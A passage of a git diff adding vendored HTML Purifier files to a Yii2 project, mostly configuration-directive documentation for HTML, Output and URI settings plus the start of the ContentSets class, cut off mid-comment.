        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Strict.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Strict.txt new file mode 100644 index 00000000..a8b1de56 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Strict.txt @@ -0,0 +1,9 @@ +HTML.Strict +TYPE: bool +VERSION: 1.3.0 +DEFAULT: false +DEPRECATED-VERSION: 1.7.0 +DEPRECATED-USE: HTML.Doctype +--DESCRIPTION-- +Determines whether or not to use Transitional (loose) or Strict rulesets. +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TargetBlank.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TargetBlank.txt new file mode 100644 index 00000000..587a1677 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TargetBlank.txt @@ -0,0 +1,8 @@ +HTML.TargetBlank +TYPE: bool +VERSION: 4.4.0 +DEFAULT: FALSE +--DESCRIPTION-- +If enabled, target=blank attributes are added to all outgoing links. +(This includes links from an HTTPS version of a page to an HTTP version.) +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TidyAdd.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TidyAdd.txt new file mode 100644 index 00000000..b4c271b7 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TidyAdd.txt @@ -0,0 +1,8 @@ +HTML.TidyAdd +TYPE: lookup +VERSION: 2.0.0 +DEFAULT: array() +--DESCRIPTION-- + +Fixes to add to the default set of Tidy fixes as per your level. +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TidyLevel.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TidyLevel.txt new file mode 100644 index 00000000..4186ccd0 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TidyLevel.txt @@ -0,0 +1,24 @@ +HTML.TidyLevel +TYPE: string +VERSION: 2.0.0 +DEFAULT: 'medium' +--DESCRIPTION-- + +

        General level of cleanliness the Tidy module should enforce. +There are four allowed values:

        +
        +
        none
        +
        No extra tidying should be done
        +
        light
        +
        Only fix elements that would be discarded otherwise due to + lack of support in doctype
        +
        medium
        +
        Enforce best practices
        +
        heavy
        +
        Transform all deprecated elements and attributes to standards + compliant equivalents
        +
        + +--ALLOWED-- +'none', 'light', 'medium', 'heavy' +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TidyRemove.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TidyRemove.txt new file mode 100644 index 00000000..996762bd --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TidyRemove.txt @@ -0,0 +1,8 @@ +HTML.TidyRemove +TYPE: lookup +VERSION: 2.0.0 +DEFAULT: array() +--DESCRIPTION-- + +Fixes to remove from the default set of Tidy fixes as per your level. +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Trusted.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Trusted.txt new file mode 100644 index 00000000..1db9237e --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Trusted.txt @@ -0,0 +1,9 @@ +HTML.Trusted +TYPE: bool +VERSION: 2.0.0 +DEFAULT: false +--DESCRIPTION-- +Indicates whether or not the user input is trusted or not. If the input is +trusted, a more expansive set of allowed tags and attributes will be used. +See also %CSS.Trusted. +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.XHTML.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.XHTML.txt new file mode 100644 index 00000000..2a47e384 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.XHTML.txt @@ -0,0 +1,11 @@ +HTML.XHTML +TYPE: bool +DEFAULT: true +VERSION: 1.1.0 +DEPRECATED-VERSION: 1.7.0 +DEPRECATED-USE: HTML.Doctype +--DESCRIPTION-- +Determines whether or not output is XHTML 1.0 or HTML 4.01 flavor. +--ALIASES-- +Core.XHTML +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.CommentScriptContents.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.CommentScriptContents.txt new file mode 100644 index 00000000..08921fde --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.CommentScriptContents.txt @@ -0,0 +1,10 @@ +Output.CommentScriptContents +TYPE: bool +VERSION: 2.0.0 +DEFAULT: true +--DESCRIPTION-- +Determines whether or not HTML Purifier should attempt to fix up the +contents of script tags for legacy browsers with comments. +--ALIASES-- +Core.CommentScriptContents +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.FixInnerHTML.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.FixInnerHTML.txt new file mode 100644 index 00000000..d6f0d9f2 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.FixInnerHTML.txt @@ -0,0 +1,15 @@ +Output.FixInnerHTML +TYPE: bool +VERSION: 4.3.0 +DEFAULT: true +--DESCRIPTION-- +

        + If true, HTML Purifier will protect against Internet Explorer's + mishandling of the innerHTML attribute by appending + a space to any attribute that does not contain angled brackets, spaces + or quotes, but contains a backtick. This slightly changes the + semantics of any given attribute, so if this is unacceptable and + you do not use innerHTML on any of your pages, you can + turn this directive off. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.FlashCompat.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.FlashCompat.txt new file mode 100644 index 00000000..93398e85 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.FlashCompat.txt @@ -0,0 +1,11 @@ +Output.FlashCompat +TYPE: bool +VERSION: 4.1.0 +DEFAULT: false +--DESCRIPTION-- +

        + If true, HTML Purifier will generate Internet Explorer compatibility + code for all object code. This is highly recommended if you enable + %HTML.SafeObject. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.Newline.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.Newline.txt new file mode 100644 index 00000000..79f8ad82 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.Newline.txt @@ -0,0 +1,13 @@ +Output.Newline +TYPE: string/null +VERSION: 2.0.1 +DEFAULT: NULL +--DESCRIPTION-- + +

        + Newline string to format final output with. If left null, HTML Purifier + will auto-detect the default newline type of the system and use that; + you can manually override it here. Remember, \r\n is Windows, \r + is Mac, and \n is Unix. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.SortAttr.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.SortAttr.txt new file mode 100644 index 00000000..232b0236 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.SortAttr.txt @@ -0,0 +1,14 @@ +Output.SortAttr +TYPE: bool +VERSION: 3.2.0 +DEFAULT: false +--DESCRIPTION-- +

        + If true, HTML Purifier will sort attributes by name before writing them back + to the document, converting a tag like: <el b="" a="" c="" /> + to <el a="" b="" c="" />. This is a workaround for + a bug in FCKeditor which causes it to swap attributes order, adding noise + to text diffs. If you're not seeing this bug, chances are, you don't need + this directive. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.TidyFormat.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.TidyFormat.txt new file mode 100644 index 00000000..06bab00a --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.TidyFormat.txt @@ -0,0 +1,25 @@ +Output.TidyFormat +TYPE: bool +VERSION: 1.1.1 +DEFAULT: false +--DESCRIPTION-- +

        + Determines whether or not to run Tidy on the final output for pretty + formatting reasons, such as indentation and wrap. +

        +

        + This can greatly improve readability for editors who are hand-editing + the HTML, but is by no means necessary as HTML Purifier has already + fixed all major errors the HTML may have had. Tidy is a non-default + extension, and this directive will silently fail if Tidy is not + available. +

        +

        + If you are looking to make the overall look of your page's source + better, I recommend running Tidy on the entire page rather than just + user-content (after all, the indentation relative to the containing + blocks will be incorrect). +

        +--ALIASES-- +Core.TidyFormat +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Test.ForceNoIconv.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Test.ForceNoIconv.txt new file mode 100644 index 00000000..071bc029 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Test.ForceNoIconv.txt @@ -0,0 +1,7 @@ +Test.ForceNoIconv +TYPE: bool +DEFAULT: false +--DESCRIPTION-- +When set to true, HTMLPurifier_Encoder will act as if iconv does not exist +and use only pure PHP implementations. +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.AllowedSchemes.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.AllowedSchemes.txt new file mode 100644 index 00000000..666635a5 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.AllowedSchemes.txt @@ -0,0 +1,17 @@ +URI.AllowedSchemes +TYPE: lookup +--DEFAULT-- +array ( + 'http' => true, + 'https' => true, + 'mailto' => true, + 'ftp' => true, + 'nntp' => true, + 'news' => true, +) +--DESCRIPTION-- +Whitelist that defines the schemes that a URI is allowed to have. This +prevents XSS attacks from using pseudo-schemes like javascript or mocha. +There is also support for the data and file +URI schemes, but they are not enabled by default. +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Base.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Base.txt new file mode 100644 index 00000000..876f0680 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Base.txt @@ -0,0 +1,17 @@ +URI.Base +TYPE: string/null +VERSION: 2.1.0 +DEFAULT: NULL +--DESCRIPTION-- + +

        + The base URI is the URI of the document this purified HTML will be + inserted into. This information is important if HTML Purifier needs + to calculate absolute URIs from relative URIs, such as when %URI.MakeAbsolute + is on. You may use a non-absolute URI for this value, but behavior + may vary (%URI.MakeAbsolute deals nicely with both absolute and + relative paths, but forwards-compatibility is not guaranteed). + Warning: If set, the scheme on this URI + overrides the one specified by %URI.DefaultScheme. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DefaultScheme.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DefaultScheme.txt new file mode 100644 index 00000000..728e378c --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DefaultScheme.txt @@ -0,0 +1,10 @@ +URI.DefaultScheme +TYPE: string +DEFAULT: 'http' +--DESCRIPTION-- + +

        + Defines through what scheme the output will be served, in order to + select the proper object validator when no scheme information is present. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DefinitionID.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DefinitionID.txt new file mode 100644 index 00000000..f05312ba --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DefinitionID.txt @@ -0,0 +1,11 @@ +URI.DefinitionID +TYPE: string/null +VERSION: 2.1.0 +DEFAULT: NULL +--DESCRIPTION-- + +

        + Unique identifier for a custom-built URI definition. If you want + to add custom URIFilters, you must specify this value. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DefinitionRev.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DefinitionRev.txt new file mode 100644 index 00000000..80cfea93 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DefinitionRev.txt @@ -0,0 +1,11 @@ +URI.DefinitionRev +TYPE: int +VERSION: 2.1.0 +DEFAULT: 1 +--DESCRIPTION-- + +

        + Revision identifier for your custom definition. See + %HTML.DefinitionRev for details. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Disable.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Disable.txt new file mode 100644 index 00000000..71ce025a --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Disable.txt @@ -0,0 +1,14 @@ +URI.Disable +TYPE: bool +VERSION: 1.3.0 +DEFAULT: false +--DESCRIPTION-- + +

        + Disables all URIs in all forms. Not sure why you'd want to do that + (after all, the Internet's founded on the notion of a hyperlink). +

        + +--ALIASES-- +Attr.DisableURI +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DisableExternal.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DisableExternal.txt new file mode 100644 index 00000000..13c122c8 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DisableExternal.txt @@ -0,0 +1,11 @@ +URI.DisableExternal +TYPE: bool +VERSION: 1.2.0 +DEFAULT: false +--DESCRIPTION-- +Disables links to external websites. This is a highly effective anti-spam +and anti-pagerank-leech measure, but comes at a hefty price: nolinks or +images outside of your domain will be allowed. Non-linkified URIs will +still be preserved. If you want to be able to link to subdomains or use +absolute URIs, specify %URI.Host for your website. +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DisableExternalResources.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DisableExternalResources.txt new file mode 100644 index 00000000..abcc1efd --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DisableExternalResources.txt @@ -0,0 +1,13 @@ +URI.DisableExternalResources +TYPE: bool +VERSION: 1.3.0 +DEFAULT: false +--DESCRIPTION-- +Disables the embedding of external resources, preventing users from +embedding things like images from other hosts. This prevents access +tracking (good for email viewers), bandwidth leeching, cross-site request +forging, goatse.cx posting, and other nasties, but also results in a loss +of end-user functionality (they can't directly post a pic they posted from +Flickr anymore). Use it if you don't have a robust user-content moderation +team. +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DisableResources.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DisableResources.txt new file mode 100644 index 00000000..f891de49 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DisableResources.txt @@ -0,0 +1,15 @@ +URI.DisableResources +TYPE: bool +VERSION: 4.2.0 +DEFAULT: false +--DESCRIPTION-- +

        + Disables embedding resources, essentially meaning no pictures. You can + still link to them though. See %URI.DisableExternalResources for why + this might be a good idea. +

        +

        + Note: While this directive has been available since 1.3.0, + it didn't actually start doing anything until 4.2.0. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Host.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Host.txt new file mode 100644 index 00000000..ee83b121 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Host.txt @@ -0,0 +1,19 @@ +URI.Host +TYPE: string/null +VERSION: 1.2.0 +DEFAULT: NULL +--DESCRIPTION-- + +

        + Defines the domain name of the server, so we can determine whether or + an absolute URI is from your website or not. Not strictly necessary, + as users should be using relative URIs to reference resources on your + website. It will, however, let you use absolute URIs to link to + subdomains of the domain you post here: i.e. example.com will allow + sub.example.com. However, higher up domains will still be excluded: + if you set %URI.Host to sub.example.com, example.com will be blocked. + Note: This directive overrides %URI.Base because + a given page may be on a sub-domain, but you wish HTML Purifier to be + more relaxed and allow some of the parent domains too. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.HostBlacklist.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.HostBlacklist.txt new file mode 100644 index 00000000..0b6df762 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.HostBlacklist.txt @@ -0,0 +1,9 @@ +URI.HostBlacklist +TYPE: list +VERSION: 1.3.0 +DEFAULT: array() +--DESCRIPTION-- +List of strings that are forbidden in the host of any URI. Use it to kill +domain names of spam, etc. Note that it will catch anything in the domain, +so moo.com will catch moo.com.example.com. +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.MakeAbsolute.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.MakeAbsolute.txt new file mode 100644 index 00000000..4214900a --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.MakeAbsolute.txt @@ -0,0 +1,13 @@ +URI.MakeAbsolute +TYPE: bool +VERSION: 2.1.0 +DEFAULT: false +--DESCRIPTION-- + +

        + Converts all URIs into absolute forms. This is useful when the HTML + being filtered assumes a specific base path, but will actually be + viewed in a different context (and setting an alternate base URI is + not possible). %URI.Base must be set for this directive to work. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Munge.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Munge.txt new file mode 100644 index 00000000..58c81dcc --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Munge.txt @@ -0,0 +1,83 @@ +URI.Munge +TYPE: string/null +VERSION: 1.3.0 +DEFAULT: NULL +--DESCRIPTION-- + +

        + Munges all browsable (usually http, https and ftp) + absolute URIs into another URI, usually a URI redirection service. + This directive accepts a URI, formatted with a %s where + the url-encoded original URI should be inserted (sample: + http://www.google.com/url?q=%s). +

        +

        + Uses for this directive: +

        +
          +
        • + Prevent PageRank leaks, while being fairly transparent + to users (you may also want to add some client side JavaScript to + override the text in the statusbar). Notice: + Many security experts believe that this form of protection does not deter spam-bots. +
        • +
        • + Redirect users to a splash page telling them they are leaving your + website. While this is poor usability practice, it is often mandated + in corporate environments. +
        • +
        +

        + Prior to HTML Purifier 3.1.1, this directive also enabled the munging + of browsable external resources, which could break things if your redirection + script was a splash page or used meta tags. To revert to + previous behavior, please use %URI.MungeResources. +

        +

        + You may want to also use %URI.MungeSecretKey along with this directive + in order to enforce what URIs your redirector script allows. Open + redirector scripts can be a security risk and negatively affect the + reputation of your domain name. +

        +

        + Starting with HTML Purifier 3.1.1, there is also these substitutions: +

        + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        KeyDescriptionExample <a href="">
        %r1 - The URI embeds a resource
        (blank) - The URI is merely a link
        %nThe name of the tag this URI came froma
        %mThe name of the attribute this URI came fromhref
        %pThe name of the CSS property this URI came from, or blank if irrelevant
        +

        + Admittedly, these letters are somewhat arbitrary; the only stipulation + was that they couldn't be a through f. r is for resource (I would have preferred + e, but you take what you can get), n is for name, m + was picked because it came after n (and I couldn't use a), p is for + property. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.MungeResources.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.MungeResources.txt new file mode 100644 index 00000000..6fce0fdc --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.MungeResources.txt @@ -0,0 +1,17 @@ +URI.MungeResources +TYPE: bool +VERSION: 3.1.1 +DEFAULT: false +--DESCRIPTION-- +

        + If true, any URI munging directives like %URI.Munge + will also apply to embedded resources, such as <img src="">. + Be careful enabling this directive if you have a redirector script + that does not use the Location HTTP header; all of your images + and other embedded resources will break. +

        +

        + Warning: It is strongly advised you use this in conjunction + %URI.MungeSecretKey to mitigate the security risk of an open redirector. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.MungeSecretKey.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.MungeSecretKey.txt new file mode 100644 index 00000000..1e17c1d4 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.MungeSecretKey.txt @@ -0,0 +1,30 @@ +URI.MungeSecretKey +TYPE: string/null +VERSION: 3.1.1 +DEFAULT: NULL +--DESCRIPTION-- +

        + This directive enables secure checksum generation along with %URI.Munge. + It should be set to a secure key that is not shared with anyone else. + The checksum can be placed in the URI using %t. Use of this checksum + affords an additional level of protection by allowing a redirector + to check if a URI has passed through HTML Purifier with this line: +

        + +
        $checksum === hash_hmac("sha256", $url, $secret_key)
        + +

        + If the output is TRUE, the redirector script should accept the URI. +

        + +

        + Please note that it would still be possible for an attacker to procure + secure hashes en-mass by abusing your website's Preview feature or the + like, but this service affords an additional level of protection + that should be combined with website blacklisting. +

        + +

        + Remember this has no effect if %URI.Munge is not on. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.OverrideAllowedSchemes.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.OverrideAllowedSchemes.txt new file mode 100644 index 00000000..23331a4e --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.OverrideAllowedSchemes.txt @@ -0,0 +1,9 @@ +URI.OverrideAllowedSchemes +TYPE: bool +DEFAULT: true +--DESCRIPTION-- +If this is set to true (which it is by default), you can override +%URI.AllowedSchemes by simply registering a HTMLPurifier_URIScheme to the +registry. If false, you will also have to update that directive in order +to add more schemes. +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.SafeIframeRegexp.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.SafeIframeRegexp.txt new file mode 100644 index 00000000..79084832 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.SafeIframeRegexp.txt @@ -0,0 +1,22 @@ +URI.SafeIframeRegexp +TYPE: string/null +VERSION: 4.4.0 +DEFAULT: NULL +--DESCRIPTION-- +

        + A PCRE regular expression that will be matched against an iframe URI. This is + a relatively inflexible scheme, but works well enough for the most common + use-case of iframes: embedded video. This directive only has an effect if + %HTML.SafeIframe is enabled. Here are some example values: +

        +
          +
        • %^http://www.youtube.com/embed/% - Allow YouTube videos
        • +
        • %^http://player.vimeo.com/video/% - Allow Vimeo videos
        • +
        • %^http://(www.youtube.com/embed/|player.vimeo.com/video/)% - Allow both
        • +
        +

        + Note that this directive does not give you enough granularity to, say, disable + all autoplay videos. Pipe up on the HTML Purifier forums if this + is a capability you want. +

        +--# vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/info.ini b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/info.ini new file mode 100644 index 00000000..5de4505e --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/info.ini @@ -0,0 +1,3 @@ +name = "HTML Purifier" + +; vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ContentSets.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ContentSets.php new file mode 100644 index 00000000..543e3f8f --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ContentSets.php @@ -0,0 +1,170 @@ + true) indexed by name. + * @type array + * @note This is in HTMLPurifier_HTMLDefinition->info_content_sets + */ + public $lookup = array(); + + /** + * Synchronized list of defined content sets (keys of info). + * @type array + */ + protected $keys = array(); + /** + * Synchronized list of defined content values (values of info). + * @type array + */ + protected $values = array(); + + /** + * Merges in module's content sets, expands identifiers in the content + * sets and populates the keys, values and lookup member variables. + * @param HTMLPurifier_HTMLModule[] $modules List of HTMLPurifier_HTMLModule + */ + public function __construct($modules) + { + if (!is_array($modules)) { + $modules = array($modules); + } + // populate content_sets based on module hints + // sorry, no way of overloading + foreach ($modules as $module) { + foreach ($module->content_sets as $key => $value) { + $temp = $this->convertToLookup($value); + if (isset($this->lookup[$key])) { + // add it into the existing content set + $this->lookup[$key] = array_merge($this->lookup[$key], $temp); + } else { + $this->lookup[$key] = $temp; + } + } + } + $old_lookup = false; + while ($old_lookup !== $this->lookup) { + $old_lookup = $this->lookup; + foreach ($this->lookup as $i => $set) { + $add = array(); + foreach ($set as $element => $x) { + if (isset($this->lookup[$element])) { + $add += $this->lookup[$element]; + unset($this->lookup[$i][$element]); + } + } + $this->lookup[$i] += $add; + } + } + + foreach ($this->lookup as $key => $lookup) { + $this->info[$key] = implode(' | ', array_keys($lookup)); + } + $this->keys = array_keys($this->info); + $this->values = array_values($this->info); + } + + /** + * Accepts a definition; generates and assigns a ChildDef for it + * @param HTMLPurifier_ElementDef $def HTMLPurifier_ElementDef reference + * @param HTMLPurifier_HTMLModule $module Module that defined the ElementDef + */ + public function generateChildDef(&$def, $module) + { + if (!empty($def->child)) { // already done! + return; + } + $content_model = $def->content_model; + if (is_string($content_model)) { + // Assume that $this->keys is alphanumeric + $def->content_model = preg_replace_callback( + '/\b(' . implode('|', $this->keys) . ')\b/', + array($this, 'generateChildDefCallback'), + $content_model + ); + //$def->content_model = str_replace( + // $this->keys, $this->values, $content_model); + } + $def->child = $this->getChildDef($def, $module); + } + + public function generateChildDefCallback($matches) + { + return $this->info[$matches[0]]; + } + + /** + * Instantiates a ChildDef based on content_model and content_model_type + * member variables in 